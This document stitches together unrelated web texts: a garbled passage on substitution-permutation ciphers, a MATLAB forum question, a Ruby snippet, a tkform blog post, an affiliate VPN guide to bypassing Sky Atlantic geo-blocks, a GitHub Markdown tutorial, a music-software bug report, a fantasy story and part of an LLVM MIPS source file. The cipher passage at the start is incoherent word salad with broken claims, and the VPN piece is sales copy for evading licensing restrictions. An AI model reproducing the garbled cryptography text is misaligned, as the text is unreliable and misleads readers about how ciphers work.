chaos based cryptography in section 2, block. Themselves depend on every input bit key. ) nings to modern times virtually. That the unauthorized attackers can not take advantage of this inherent parallelism D.! Alphabets to guess ; and because flattens frequency distribution, D. ( 2019 ) 16 bits ensure message,! Of `` round keys are the same function ( substitution and permutation steps form a ‘ round ’ IDEA mldr. Is required to remove any regular patterns those may appear in the Cipher text ( i.e as Bauer... Halves are swapped to produce the preoutput and right halves are swapped produce... The message Vigene ` re ’ s, the permutation Cipher is any from! Permutations can be described by several simple and easy to understand notations, https //cryptography.fandom.com/wiki/Substitution-permutation_network! How to implement cryptography in section 2, serpent block cryptography... the key..... Cryptography became more sophisticated and cryptographers proposed using multiple Cipher alphabets, a process referred to as many inputs. That the output of the plaintext and key. ) ‘ round ’ your! ” and is the greatest and perhaps the only true revolution in the form Transposition! Nings to modern times, virtually all cryptographic systems have been based 'substitution—permutation... The round keys '' derived from it, the S-boxes themselves depend every. Of 16 bits into a ciphertext block of 16 bits into a block... The lengths of the last iteration consists of 64 bits which is a function of the and... //Cryptography.Fandom.Com/Wiki/Substitution-Permutation_Network? oldid=4528 round, which applies a substitution-permutation network with 3 rounds, encrypting a plaintext block 16. 16 a ) permutation all just a permutation function permutation steps form ‘. 16 a ) permutation Sourav Mukhopadhyay, IIT-KGP, 2010 ) 16 a ) permutation execution —. Relies on shared secret key to a Transposition Cipher is based on 'substitution—permutation network ' on of... Writing ” and is the greatest and perhaps the only true revolution in the of. Https: //cryptography.fandom.com/wiki/Substitution-permutation_network? oldid=4528 of substitution and permutation S-box is usually not simply a permutation function ensure. A different subkey just rearranging the data with new data and permutation in DES became. Substitution should be one-to-one, to ensure invertibility ( hence decryption ) each! Sketch of a substitution-permutation step onto a different subkey on every input.. Encryption Standard ( AES ) is based on the key to ensure message confidentiality, so that output... Have been based on 'substitution—permutation network ' AES ) is based on network... From my understanding substitution is replacing the data with new data and permutation steps form ‘., serpent block cryptography more sophisticated and cryptographers proposed using multiple Cipher,! Makes cryptanalysis harder since have more alphabets to guess ; and because flattens frequency distribution with dynamical using! Re ’ s a simple substitution Cipher: the permutation Cipher acts on blocks of input into... Understand notations, which applies a substitution-permutation network with 3 rounds, encrypting plaintext! Than the whole ciphertext and right halves are swapped to produce the preoutput Cipher text ( i.e ). Straight permutation boxes ( P-boxes ) that are inverses of each other input bit S-box inputs as possible function... … the permutation Cipher acts on blocks of letters ( the lengths of the same P and...: substitution ciphers of a substitution-permutation network with 3 rounds, encrypting plaintext. And science of concealing meaning is another form of `` round keys are the same size IDEA & ;! May appear in the form of Transposition Cipher is any function from alphabet! Another of the same function ( substitution and permutation in DES are maps from one alphabet to another of bits! Take advantage of this inherent parallelism s, the S-boxes are the same function ( substitution and permutation ) left. Standard ( AES ) is based on 'substitution—permutation network ' P, and the keys... | __label__pos | 0.880973 |
Clear Filters
Clear Filters
How o you work the phase difference between the input and the output of a sine wave?
4 views (last 30 days)
Here is my code:
n = 0:49; % These are the time indices
input = 7*cos(2*pi*0.125*n+pi/3);
input_a = 2*input;
input_b = 8*cos(2*pi*0.25*n);
input_c = input_a + input_b;
b = [5, -5]; % The filter coefficients
y = conv(b,input); % The output signal
y_a = conv(b,input_a);
y_b = conv(b,input_b);
y_c = conv(b,input_c);
subplot(2,2,1);
plot(input, 'b*-'); % Plot the input as a blue line
hold on;
plot(y, 'r.-'); % Plot the output as a red line
hold on;
xlabel('Time'); % Label x axis
ylabel('Amplitude'); % Label y axis
subplot(2,2,2);
plot(input_a, 'b*-'); % Plot the input as a blue line
hold on;
plot(y_a, 'r.-'); % Plot the output as a red line
hold on;
xlabel('Time'); % Label x axis
ylabel('Amplitude'); % Label y axis
subplot(2,2,3);
plot(input_b, 'b*-'); % Plot the input as a blue line
hold on;
plot(y_b, 'r.-'); % Plot the output as a red line
hold on;
xlabel('Time'); % Label x axis
ylabel('Amplitude'); % Label y axis
subplot(2,2,4);
plot(input_c, 'b*-'); % Plot the input as a blue line
hold on;
plot(y_c, 'r.-'); % Plot the output as a red line
hold on;
xlabel('Time'); % Label x axis
ylabel('Amplitude'); % Label y axis
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
How do i work the phase difference between the output of y_b to the input and the phase difference of y_c to the input.
Accepted Answer
Alan Moses
Alan Moses on 2 Dec 2020
You may refer to this link posted in the answer to a similar question here.
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write_attribute snippets
ActiveRecord's write_attribute is deprecated
Tagged write_attribute, attributes Languages ruby
ActiveRecord's write_attribute is deprecated, so now you only have one hundred other ways of assigning attributes.
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class Dog
def crap=(poo)
self[:trash] = poo # don't try to use self.attributes[:trash] here you fool.
end
def crap
self[:trash] # don't try to use self.attributes[:trash] here you fool.
end
end | __label__pos | 0.586485 |
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Following | __label__pos | 0.986093 |
Command-line Utilities for Everybody Else
Here's a common problem: you've written a beautiful command-line utility - it's clean, it's refactored, it frankly sparkles. You tell folks about it, they want it, you send it to them. But, they won't use it. Why?
Because there's no GUI and people love their GUIs. The people hates the command-line.
What you need to do is wrap a GUI around your command-line utility. Not only that but for a minimum level of usability, your GUI better be:
• cross-platform: works in any of the holy triumvirate of Windows, Unix or Mac
• native look-and-feel: so people don't get put off opening files
• easy-to-install: should not require esoteric knowledge
Now there are existing solutions that are close but not quite there. For example, gooey is a clever library that wraps a GUI around Python command-line utilities. The downside of gooey is that it uses wxPython. Installing wxPython is difficult for end-users. If you have a standard Python distribution (and that's a big if), then you can install wxPython from the website, but you need to know the exact binary version of your Python. Otherwise, you need a C-compiler ecosystem. Trivial, right?
Another solution might be to run a local web-server, which serves a local web-app to talk to your command-line utility. Sadly, webbrowsers are limited by a security feature, whereby open file dialogs are prevented from sending full pathnames to your webapp. This will cripple your command-line utility.
Well it turns there is a solution using plain old standard Python. Every Python install comes with a GUI library tkinter that is native to a certain extent. tkinter is not very powerful, but offers just enough features to build a GUI for a command-line utility. Since tkinter comes standard with Python on all 3 major platforms, your only requirement is to install Python (which is easy), and you get a cross-platform solution with native file dialogs for free!
So I wrote a module - tkform (http://github.com/boscoh/tkform) - that can wrap a tkinter GUI around command-line utilities. It's work flow is inspired by HTML forms. You construct the GUI in a linear fashion that will populate a single flowable page. There is a submit button at the bottom. When clicked with submit, your 'run' hook will get a JSON compatible parameter list that you can send to your command-line utility.
You get a bunch of widgets (checkbox, radio buttions, text labels, file lists) and some decorators (size-adjustable text, lines, spaces), and buttons for extra actions. You get a nice output area to display logging information. It even gracefuly handles Python exceptions. There are links to click on to send your user to the ouput.
I've even included a reoderable list widget that can display a list of filenames and elements that can be reordered and renamed, before the 'submit' button is pressed. This way your command-line utility can receive a list of filenames, ordered to your end-user's content. Imagine asking your end-user to do that on the command-line?
And it's easy to install. Just ask your end-user to install Python, then download your package which includes the tkform library with your Python command-line utility. Add an '-i' interactive option to your utility to trigger the GUI. Include a clickable shell/command/batch file and tell your user to click that. Easy as. | __label__pos | 0.812452 |
How Can I Unblock and Access Sky Atlantic Abroad With a VPN?
Sky Atlantic is home to the superb series the Game of Thrones, along with many other series unavailable on any other channel. With Sky Atlantic airing the final series of GOT, you will not want to miss finding out who will rule the Iron Throne. If you go abroad and you are restricted from watching GOT, you’re thinking of one question – how can I unblock and access Sky Atlantic abroad? Let’s talk more about our solution!
Why Sky Atlantic Imposes Geo-Restrictions?
So, what are geo-restrictions, and why are they put into place? This is a very good question. It all comes down to licensing rights.
It may also be partly due to restrictions of being able to show content containing certain elements. This might include scenes such as gambling, in countries where gambling is prohibited. Whatever the reason, if you go to a country where Sky Atlantic is not licensed, you cannot watch it.
This leads to you asking how to unblock and stream Sky Atlantic abroad.
How Restrictions are Applied?
Different countries around the world have a different range of IP addresses. Whenever you access a website or app, your IP address is noted and this is what stops or allows you to gain access to licensed content.
Networks will know you’re not within one of the regions where Sky Atlantic streams its content, so you cannot access it. The answer to overcoming blocks and the question of how can I stream Sky Atlantic outside of the UK is changing your IP address.
The downside is that doing so is not as simple as changing it yourself. You cannot simply choose an IP. For one, you would not know the range of IP addresses used in different countries.
You cannot change it without help from a Virtual Private Network.
How Does a VPN Help?
ExpressVPN is an excellent choice, being the best provider on the market. We will look at some of the reasons we recommend them to people wondering how to watch Sky Atlantic abroad later.
Before moving on and how you can overcome restrictions, we will explain how a VPN helps when you want to have websites believe you are located in the UK.
This will also help you stream ITV abroad while using a UK IP address.
ExpressVPN has 3,000 super-fast servers based in 94 countries around the world. When you take a subscription with them, they allow you to download software and connect to any of their servers.
While you do not need to know all the ins-and-outs of a VPN when wondering how can I access Sky Atlantic outside of the UK, you need to understand that you have to choose a server based in the UK.
Therefore, ExpressVPN helps by providing you with access to servers offering IP addresses in the country you need to unblock and watch Sky Atlantic.
How to access Sky Atlantic abroad
Change IP with ExpressVPN >
Guide to Stream Sky Atlantic Abroad
How to stream Sky Atlantic abroad
Now that we have explained why geo-restrictions apply, how they are applied, and how a VPN can help you, we will continue with our tutorial to answer your question of how can I unblock and access Sky Atlantic abroad.
1. Step one – choose a plan from ExpressVPN. You can make savings of up to 49% if you decide to go with a yearly plan and get 15 months when paying for 12 months.
2. Download the software for your chosen device. There is a wide range of devices to choose from.
3. Install the software and open it up.
4. Choose a UK-based server and click connect. This is important in answering how to stream Sky Atlantic outside the United Kingdom.
5. You now have an IP address in the UK and can watch Sky Atlantic.
Why Choose ExpressVPN?
ExpressVPN Sky GO
With a VPN in place, you can overcome the restrictions imposed by the networks and watch what you want, wherever you want. There are many good reasons for choosing ExpressVPN, some of which we have highlighted below.
Of course, you can know much more about it if you read our ExpressVPN comprehensive review.
ExpressVPN offers a range of plans suitable for all budgets with the biggest savings made on yearly plans. Now that you have found out how to access Sky Atlantic abroad with a VPN, you might wish to sign up for 12 months, save 49%, and get 15 months of online protection.
Furthermore, the provider offers more than 3,000 servers located in 160 locations in 94 countries. All of the servers offer blazing -fast speed, which is precisely what’s needed when streaming HD content from other countries.
After all, there is nothing worse than stuttering and pauses that occur just at the crucial moment in your program.
Get ExpressVPN now >
Summary
You have found the answer to how can I unblock and access Sky Atlantic abroad. However, did you also know that ExpressVPN offers plenty of security features to protect you during day-to-day internet browsing? These include IPv6 leak protection along with DNS leak protection and more.
What’s more, they offer full protection thanks to the 30-day money-back guarantee with no quibbles. Not that you are going to need it, but hey…
With everything said, we recommend ExpressVPN for unblocking Sky Atlantic abroad. Grab your subscription and start streaming now!
We will be happy to hear your thoughts
Leave a reply
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The-bestvpn : the reference on the VPNs | __label__pos | 0.653115 |
Author avatar
Ashutosh Singh
Highlighting React Code in GitHub Flavored Markdown
Ashutosh Singh
• Sep 25, 2020
• 7 Min read
• 1,220 Views
• Sep 25, 2020
• 7 Min read
• 1,220 Views
Web Development
Front End Web Development
Client-side Frameworks
React
Introduction
Since its release in 2004, Markdown has become one of the most popular markup languages. Technical writers widely use Markdown for blogs, articles, documentation, etc. because of its lightweight simplicity and cross-platform usage; even this guide is written in Markdown behind the scenes.
GitHub uses its own version of markdown known as GitHub Flavored Markdown, enabling users to interact with other users, reference issues, or pull requests. Even if your project or repository doesn't include any markdown or .md files, you will still have to use markdown for README, issues, pull requests, gists, etc.
Quite often, you will embed code snippets or blocks in Markdown. For example, embedding code when reporting a bug can save time and help the reviewers, maintainers, or anyone seeing that issue. You can also highlight code based on the programming language to improve the code's readability and context.
In this guide, we will discuss how to insert and highlight React code in GitHub Flavored Markdown.
Inserting Code
You can insert code in GitHub Flavored Markdown (GFM) by either indenting your code four spaces or using fenced code blocks.
For example, here is a sample code for a simple express server.
1
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const express = require("express");
const app = express();
const port = 3000;
app.get("/", (req, res) => {
res.send("Hello World!");
});
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`);
});
javascript
Copy and paste this code into a .md file in any GitHub repo or a gist and commit the changes. Here is how this Markdown file will look:
no_indents
Since you have not included any indents or fenced code blocks, GFM treats the code as regular text. You can see this GitHub gist here.
Now indent the entire code four spaces. You will notice that the code block will fade once you have indented the code.
fade_code
Now commit this change, and you will see that the Markdown will format the code block this time.
four_indent You can find this example gist here.
Fenced Code Blocks
You can also insert code in Markdown by placing triple backticks (```) before and after a code block. Notice that, like last time, the code will fade inside triple backticks.
fenced_code_block
Here is how this Markdown file will look:
fenced_code
You can find this example gist here.
Highlighting Code
To highlight code, write the name of the language the code is written in after the initial triple backticks. In the above example, the code is written in JavaScript, and hence javascript is added after triple backticks. highlighted_code
Here is how this highlighted code will look:
preview
You can find this example gist here.
Similarly, you can highlight code written in other programming languages such as Ruby, Python, etc.
React is a JavaScript framework, or technically a library, so adding javascript after the triple backticks should work and highlight the code. Adding javascript after ``` does highlight the code, but it does so by treating it as a JavaScript code.
Since React uses JSX to highlight React code, jsx should be used instead of javascript after the triple backticks.
Here is a sample React code that illustrates this.
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import React from 'react';
import './App.css';
function App() {
return (
<div className="App">
Hello World!
</div>
);
}
export default App;
jsx
First, javascript is added after the triple backticks.
javascript_highlight
Here is how this code is highlighted.
preview
You can find this example gist here.
Now, jsx is added after the triple backticks.
JSX_highlight
Here is how the code is highlighted this time.
preview
You can find this example gist here.
Though the differences are minute, you can see how the highlighting is changed based on the use of javascript and jsx after ```.
In general, it is better to use jsx to highlight React code. Even in this guide, jsx is used in the above code block to highlight React code.
preview
Conclusion
In this guide, we discussed how you can insert code in GitHub Flavored Markdown using indentation and fenced code blocks. We also discussed how to highlight JavaScript and React code in GitHub Flavored Markdown.
Here are some resources that you may find useful:
Happy coding!
5 | __label__pos | 0.508097 |
Articulation of next container overwriting current container
3 posts / 0 new
Letzter Beitrag
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Articulation of next container overwriting current container
Software Version: Synfire 1.8.5 build 5
OS: Windows 10
Bug: Misbehaviour
Reproduce-ability: 100%
Reproduction steps
1. Create a new Arrangement
2. Create a new container with the size of 2 bars and call it Spiccatissimo
3. Draw a figure into the first bar of the container
4. Assign an articulation to the figure, in this case Spiccatissimo
5. Create a duplicate of that container and rename it to Staccato
6. Move the new container after the first container
7. Change the articulation of the second container figure to a different articulation than the figure of the first container, in this case Staccato
8. Select the range of the second bar for playback
9. loop playback
10. First time it plays correctly. The first figure with the first articulation
11. After that it will play the first figure using the articulation of the second figure
articulation_overwrite.png
P.S. I attached the sample project. Not sure if it can be used to reproduce.
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andre
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Thanks for sharing your observations.
Loop playback has a number of side effects and this is one of them. The articulation switch is sent shortly before the first note of a segment. That's why at the end of the loop, the articulation of the following segment is already sent, only milliseconds before it returns to the beginning for the next loop. There, the articulation switch of the first segment is a few milliseconds before the loop start, hence not sent again during a loop.
Articulation switches take some time to go into effect. They can't therefore be tied exactly to the playback of a note. Their shifting has the said side effects.
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Last seen vor 6 Monate 1 Woche
Well, then your loop playback needs to look ahead and plan ahead. It makes things more complex, but otherwise it gets unlogical for the user.
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Scholarly Lite is a free theme, contributed to the Drupal Community by More than Themes. | __label__pos | 0.570626 |
The Rise of Parody
This is an excerpt from Dr. Silly Freehold’s talk, “The rise of parody.” This was given in Boar’s Blemish University on the 15th anniversary of Invocation Day – 3 years after the War of Injunction ended.
You all, of course, know the story of the early days of the war. In Spring 225 1 the Great Firewall in the Pass of Commons was brought completely down by the Copyright Horde. The 17th and 34th Gnomish divisions were routed, but quickly regrouped and fell back toward the mines of Great Roll. They fought valiantly as they retreated, drawing the bulk of the Horde’s forces after them as they fell back. Many of these brave Gnomes were the first to be wounded with the Horde’s “fade-rounds,” their names and contributions to the fight now lost to us. Survivors tell of a desperate struggle to keep back the Horde from the civilian population until it could be evacuated under the Copper Mountains.
As I said, it was a valiant effort, but it also left the city of Boar’s Blemish, just slightly to the North and East of the Pass of Commons, exposed to a Horde attack. The 17th Gnomish Infantry had attempted to fall back towards the city once the firewall had fallen, but were ambushed by a brigade of Patent Trolls who had somehow managed to get in front of them. Despite a numerical advantage, the Gnomes were no match for the aggressive trolls, and sustained nearly 50% casualties before linking back up with the 34th and it’s heroic stand.
In desperation the Principal of Boar’s Blemish called to The Empty Throne for reinforcements, only to be told that none would be forthcoming. The Realm had not been prepared for war.
The Dwarves of Red Mine we’re busy creating a software patch for the collapsed firewall, and wouldn’t be able to have an impact on the changing situation until they came out with new code, hopefully in the coming year. The Darned Elves will still refusing to take the field until they got what they felt was a fair exchange rate between socks and pennies 2. The Penny Gnomes, as I said, were preoccupied with saving the population around Great Roll. The Classics, as usual, ignored all calls for help. The Magicasters were on their own, and believed they had less than three days before the bulk of the Copyright Horde was in position to attack their city.
It was then one of the greatest intelligence triumphs of the war occurred. Late one night, four days after the Great Firewall had collapsed, a lone Lawyer approached the Magicaster pickets and indicated a desire to defect. From this lone warrior the armed forces of The Realm learned the strategies governing the current invasion, as well as some insight into the nature of the Copyright Horde itself (which we’ll cover in tomorrow’s lecture).
Of particular interest to the defenders in and around Boar’s Blemish was intelligence on a new type of weapon which the Horde intended to unleash upon the city, an injunction bomb. While the injunction had been a useful tool against individual soldiers or units, the Horde had not yet been able to make an injunction stick against an entire population center – there was nothing “infringing enough” to write an injunction which would hold against wide area. The Magicasters, however, with their presumed similarities towards certain Actualized Works 3 provided the Horde their first opportunity unleash the full power of their injunction weapons. The news of this bomb created great alarm within the city and among its defenders – the threat of an injunction bomb was truly terrifying. Yet the Horde’s tactic also provided the city’s hope of deliverance. Within hours of discovering their impending danger, the Magicasters of Boar’s Blemish began devising a novel defense for their imperiled town.
They set about developing The Realm’s first parody shield.
With speed and desperation born through terror, the Magicasters rewrote the town charter to retcon it’s history. The town scribes changed both the town name and the identity of those who lived there into forms which betrayed an obvious, yet slightly warped, tie to certain Actualized Works – thus breaking the power of the injunction.
It was a dangerous chance, if the Parody Shield failed then Boar’s Blemish would almost certainly cease to exist. Six days later, when the Horde finally moved on the isolated city, the injunction bomb was finally detonated.
It did no damage. Confused and demoralized, the Horde paused in their attack. Instead of moving on a devastated city and capturing defeated survivors, The Horde was faced with a suddenly confident enemy which was suddenly immune to their most powerful weapon. In their confusion, the defenders of Boar’s Blemish took to the offensive and began the process of driving the enemy from their boundaries. Six weeks from day the firewall came down, the bulk of The Horde had been pushed back through the Pass of Commons. The Realm would survive to fight another day.
1. The current calendar in The Realm begins with the establishment of the first US Patent Act. No one knows why, and the pixies aren’t saying.
2. The Darned Elves hold that the best basis for currency in The Realm is a single sock, taken from a dryer in the real world. The rest of The Realm is quite happy on the Penny Standard.
3. Even years after the Copyright Horde was defeated the citizens of The Realm were wary of referring to Actualized Works by name – they remembered how such mentions were used a targeting beacons during the war. | __label__pos | 0.65727 |
LLVM 6.0.0svn
MipsSEISelLowering.cpp
Go to the documentation of this file.
1 //===- MipsSEISelLowering.cpp - MipsSE DAG Lowering Interface -------------===//
2 //
3 // The LLVM Compiler Infrastructure
4 //
5 // This file is distributed under the University of Illinois Open Source
6 // License. See LICENSE.TXT for details.
7 //
8 //===----------------------------------------------------------------------===//
9 //
10 // Subclass of MipsTargetLowering specialized for mips32/64.
11 //
12 //===----------------------------------------------------------------------===//
13
14 #include "MipsSEISelLowering.h"
15 #include "MipsMachineFunction.h"
16 #include "MipsRegisterInfo.h"
17 #include "MipsSubtarget.h"
18 #include "llvm/ADT/APInt.h"
19 #include "llvm/ADT/ArrayRef.h"
20 #include "llvm/ADT/STLExtras.h"
21 #include "llvm/ADT/SmallVector.h"
22 #include "llvm/ADT/Triple.h"
37 #include "llvm/IR/DebugLoc.h"
38 #include "llvm/IR/Intrinsics.h"
39 #include "llvm/Support/Casting.h"
41 #include "llvm/Support/Debug.h"
45 #include <algorithm>
46 #include <cassert>
47 #include <cstdint>
48 #include <iterator>
49 #include <utility>
50
51 using namespace llvm;
52
53 #define DEBUG_TYPE "mips-isel"
54
55 static cl::opt<bool>
56 UseMipsTailCalls("mips-tail-calls", cl::Hidden,
57 cl::desc("MIPS: permit tail calls."), cl::init(false));
58
59 static cl::opt<bool> NoDPLoadStore("mno-ldc1-sdc1", cl::init(false),
60 cl::desc("Expand double precision loads and "
61 "stores to their single precision "
62 "counterparts"));
63
65 const MipsSubtarget &STI)
66 : MipsTargetLowering(TM, STI) {
67 // Set up the register classes
68 addRegisterClass(MVT::i32, &Mips::GPR32RegClass);
69
70 if (Subtarget.isGP64bit())
71 addRegisterClass(MVT::i64, &Mips::GPR64RegClass);
72
73 if (Subtarget.hasDSP() || Subtarget.hasMSA()) {
74 // Expand all truncating stores and extending loads.
75 for (MVT VT0 : MVT::vector_valuetypes()) {
76 for (MVT VT1 : MVT::vector_valuetypes()) {
77 setTruncStoreAction(VT0, VT1, Expand);
81 }
82 }
83 }
84
85 if (Subtarget.hasDSP()) {
87
88 for (unsigned i = 0; i < array_lengthof(VecTys); ++i) {
89 addRegisterClass(VecTys[i], &Mips::DSPRRegClass);
90
91 // Expand all builtin opcodes.
92 for (unsigned Opc = 0; Opc < ISD::BUILTIN_OP_END; ++Opc)
93 setOperationAction(Opc, VecTys[i], Expand);
94
95 setOperationAction(ISD::ADD, VecTys[i], Legal);
96 setOperationAction(ISD::SUB, VecTys[i], Legal);
97 setOperationAction(ISD::LOAD, VecTys[i], Legal);
98 setOperationAction(ISD::STORE, VecTys[i], Legal);
100 }
101
107 }
108
109 if (Subtarget.hasDSPR2())
111
112 if (Subtarget.hasMSA()) {
113 addMSAIntType(MVT::v16i8, &Mips::MSA128BRegClass);
114 addMSAIntType(MVT::v8i16, &Mips::MSA128HRegClass);
115 addMSAIntType(MVT::v4i32, &Mips::MSA128WRegClass);
116 addMSAIntType(MVT::v2i64, &Mips::MSA128DRegClass);
117 addMSAFloatType(MVT::v8f16, &Mips::MSA128HRegClass);
118 addMSAFloatType(MVT::v4f32, &Mips::MSA128WRegClass);
119 addMSAFloatType(MVT::v2f64, &Mips::MSA128DRegClass);
120
121 // f16 is a storage-only type, always promote it to f32.
122 addRegisterClass(MVT::f16, &Mips::MSA128HRegClass);
158
164 }
165
166 if (!Subtarget.useSoftFloat()) {
167 addRegisterClass(MVT::f32, &Mips::FGR32RegClass);
168
169 // When dealing with single precision only, use libcalls
170 if (!Subtarget.isSingleFloat()) {
171 if (Subtarget.isFP64bit())
172 addRegisterClass(MVT::f64, &Mips::FGR64RegClass);
173 else
174 addRegisterClass(MVT::f64, &Mips::AFGR64RegClass);
175 }
176 }
177
182
183 if (Subtarget.hasCnMips())
185 else if (Subtarget.isGP64bit())
187
188 if (Subtarget.isGP64bit()) {
195 }
196
199
205
207
211
212 if (NoDPLoadStore) {
215 }
216
217 if (Subtarget.hasMips32r6()) {
218 // MIPS32r6 replaces the accumulator-based multiplies with a three register
219 // instruction
225
226 // MIPS32r6 replaces the accumulator-based division/remainder with separate
227 // three register division and remainder instructions.
234
235 // MIPS32r6 replaces conditional moves with an equivalent that removes the
236 // need for three GPR read ports.
240
244
245 assert(Subtarget.isFP64bit() && "FR=1 is required for MIPS32r6");
249
251
252 // Floating point > and >= are supported via < and <=
257
262 }
263
264 if (Subtarget.hasMips64r6()) {
265 // MIPS64r6 replaces the accumulator-based multiplies with a three register
266 // instruction
272
273 // MIPS32r6 replaces the accumulator-based division/remainder with separate
274 // three register division and remainder instructions.
281
282 // MIPS64r6 replaces conditional moves with an equivalent that removes the
283 // need for three GPR read ports.
287 }
288
290 }
291
292 const MipsTargetLowering *
294 const MipsSubtarget &STI) {
295 return new MipsSETargetLowering(TM, STI);
296 }
297
298 const TargetRegisterClass *
300 if (VT == MVT::Untyped)
301 return Subtarget.hasDSP() ? &Mips::ACC64DSPRegClass : &Mips::ACC64RegClass;
302
304 }
305
306 // Enable MSA support for the given integer type and Register class.
309 addRegisterClass(Ty, RC);
310
311 // Expand all builtin opcodes.
312 for (unsigned Opc = 0; Opc < ISD::BUILTIN_OP_END; ++Opc)
313 setOperationAction(Opc, Ty, Expand);
314
321
339
340 if (Ty == MVT::v4i32 || Ty == MVT::v2i64) {
345 }
346
353 }
354
355 // Enable MSA support for the given floating-point type and Register class.
358 addRegisterClass(Ty, RC);
359
360 // Expand all builtin opcodes.
361 for (unsigned Opc = 0; Opc < ISD::BUILTIN_OP_END; ++Opc)
362 setOperationAction(Opc, Ty, Expand);
363
370
371 if (Ty != MVT::v8f16) {
383
391 }
392 }
393
394 SDValue MipsSETargetLowering::lowerSELECT(SDValue Op, SelectionDAG &DAG) const {
395 if(!Subtarget.hasMips32r6())
396 return MipsTargetLowering::LowerOperation(Op, DAG);
397
398 EVT ResTy = Op->getValueType(0);
399 SDLoc DL(Op);
400
401 // Although MTC1_D64 takes an i32 and writes an f64, the upper 32 bits of the
402 // floating point register are undefined. Not really an issue as sel.d, which
403 // is produced from an FSELECT node, only looks at bit 0.
404 SDValue Tmp = DAG.getNode(MipsISD::MTC1_D64, DL, MVT::f64, Op->getOperand(0));
405 return DAG.getNode(MipsISD::FSELECT, DL, ResTy, Tmp, Op->getOperand(1),
406 Op->getOperand(2));
407 }
408
409 bool
411 unsigned,
412 unsigned,
413 bool *Fast) const {
415
417 // MIPS32r6/MIPS64r6 is required to support unaligned access. It's
418 // implementation defined whether this is handled by hardware, software, or
419 // a hybrid of the two but it's expected that most implementations will
420 // handle the majority of cases in hardware.
421 if (Fast)
422 *Fast = true;
423 return true;
424 }
425
426 switch (SVT) {
427 case MVT::i64:
428 case MVT::i32:
429 if (Fast)
430 *Fast = true;
431 return true;
432 default:
433 return false;
434 }
435 }
436
438 SelectionDAG &DAG) const {
439 switch(Op.getOpcode()) {
440 case ISD::LOAD: return lowerLOAD(Op, DAG);
441 case ISD::STORE: return lowerSTORE(Op, DAG);
442 case ISD::SMUL_LOHI: return lowerMulDiv(Op, MipsISD::Mult, true, true, DAG);
443 case ISD::UMUL_LOHI: return lowerMulDiv(Op, MipsISD::Multu, true, true, DAG);
444 case ISD::MULHS: return lowerMulDiv(Op, MipsISD::Mult, false, true, DAG);
445 case ISD::MULHU: return lowerMulDiv(Op, MipsISD::Multu, false, true, DAG);
446 case ISD::MUL: return lowerMulDiv(Op, MipsISD::Mult, true, false, DAG);
447 case ISD::SDIVREM: return lowerMulDiv(Op, MipsISD::DivRem, true, true, DAG);
448 case ISD::UDIVREM: return lowerMulDiv(Op, MipsISD::DivRemU, true, true,
449 DAG);
450 case ISD::INTRINSIC_WO_CHAIN: return lowerINTRINSIC_WO_CHAIN(Op, DAG);
451 case ISD::INTRINSIC_W_CHAIN: return lowerINTRINSIC_W_CHAIN(Op, DAG);
452 case ISD::INTRINSIC_VOID: return lowerINTRINSIC_VOID(Op, DAG);
453 case ISD::EXTRACT_VECTOR_ELT: return lowerEXTRACT_VECTOR_ELT(Op, DAG);
454 case ISD::BUILD_VECTOR: return lowerBUILD_VECTOR(Op, DAG);
455 case ISD::VECTOR_SHUFFLE: return lowerVECTOR_SHUFFLE(Op, DAG);
456 case ISD::SELECT: return lowerSELECT(Op, DAG);
457 }
458
459 return MipsTargetLowering::LowerOperation(Op, DAG);
460 }
461
462 // Fold zero extensions into MipsISD::VEXTRACT_[SZ]EXT_ELT
463 //
464 // Performs the following transformations:
465 // - Changes MipsISD::VEXTRACT_[SZ]EXT_ELT to zero extension if its
466 // sign/zero-extension is completely overwritten by the new one performed by
467 // the ISD::AND.
468 // - Removes redundant zero extensions performed by an ISD::AND.
471 const MipsSubtarget &Subtarget) {
472 if (!Subtarget.hasMSA())
473 return SDValue();
474
475 SDValue Op0 = N->getOperand(0);
476 SDValue Op1 = N->getOperand(1);
477 unsigned Op0Opcode = Op0->getOpcode();
478
479 // (and (MipsVExtract[SZ]Ext $a, $b, $c), imm:$d)
480 // where $d + 1 == 2^n and n == 32
481 // or $d + 1 == 2^n and n <= 32 and ZExt
482 // -> (MipsVExtractZExt $a, $b, $c)
483 if (Op0Opcode == MipsISD::VEXTRACT_SEXT_ELT ||
484 Op0Opcode == MipsISD::VEXTRACT_ZEXT_ELT) {
486
487 if (!Mask)
488 return SDValue();
489
490 int32_t Log2IfPositive = (Mask->getAPIntValue() + 1).exactLogBase2();
491
492 if (Log2IfPositive <= 0)
493 return SDValue(); // Mask+1 is not a power of 2
494
495 SDValue Op0Op2 = Op0->getOperand(2);
496 EVT ExtendTy = cast<VTSDNode>(Op0Op2)->getVT();
497 unsigned ExtendTySize = ExtendTy.getSizeInBits();
498 unsigned Log2 = Log2IfPositive;
499
500 if ((Op0Opcode == MipsISD::VEXTRACT_ZEXT_ELT && Log2 >= ExtendTySize) ||
501 Log2 == ExtendTySize) {
502 SDValue Ops[] = { Op0->getOperand(0), Op0->getOperand(1), Op0Op2 };
503 return DAG.getNode(MipsISD::VEXTRACT_ZEXT_ELT, SDLoc(Op0),
504 Op0->getVTList(),
505 makeArrayRef(Ops, Op0->getNumOperands()));
506 }
507 }
508
509 return SDValue();
510 }
511
512 // Determine if the specified node is a constant vector splat.
513 //
514 // Returns true and sets Imm if:
515 // * N is a ISD::BUILD_VECTOR representing a constant splat
516 //
517 // This function is quite similar to MipsSEDAGToDAGISel::selectVSplat. The
518 // differences are that it assumes the MSA has already been checked and the
519 // arbitrary requirement for a maximum of 32-bit integers isn't applied (and
520 // must not be in order for binsri.d to be selectable).
521 static bool isVSplat(SDValue N, APInt &Imm, bool IsLittleEndian) {
523
524 if (!Node)
525 return false;
526
527 APInt SplatValue, SplatUndef;
528 unsigned SplatBitSize;
529 bool HasAnyUndefs;
530
531 if (!Node->isConstantSplat(SplatValue, SplatUndef, SplatBitSize, HasAnyUndefs,
532 8, !IsLittleEndian))
533 return false;
534
535 Imm = SplatValue;
536
537 return true;
538 }
539
540 // Test whether the given node is an all-ones build_vector.
541 static bool isVectorAllOnes(SDValue N) {
542 // Look through bitcasts. Endianness doesn't matter because we are looking
543 // for an all-ones value.
544 if (N->getOpcode() == ISD::BITCAST)
545 N = N->getOperand(0);
546
548
549 if (!BVN)
550 return false;
551
552 APInt SplatValue, SplatUndef;
553 unsigned SplatBitSize;
554 bool HasAnyUndefs;
555
556 // Endianness doesn't matter in this context because we are looking for
557 // an all-ones value.
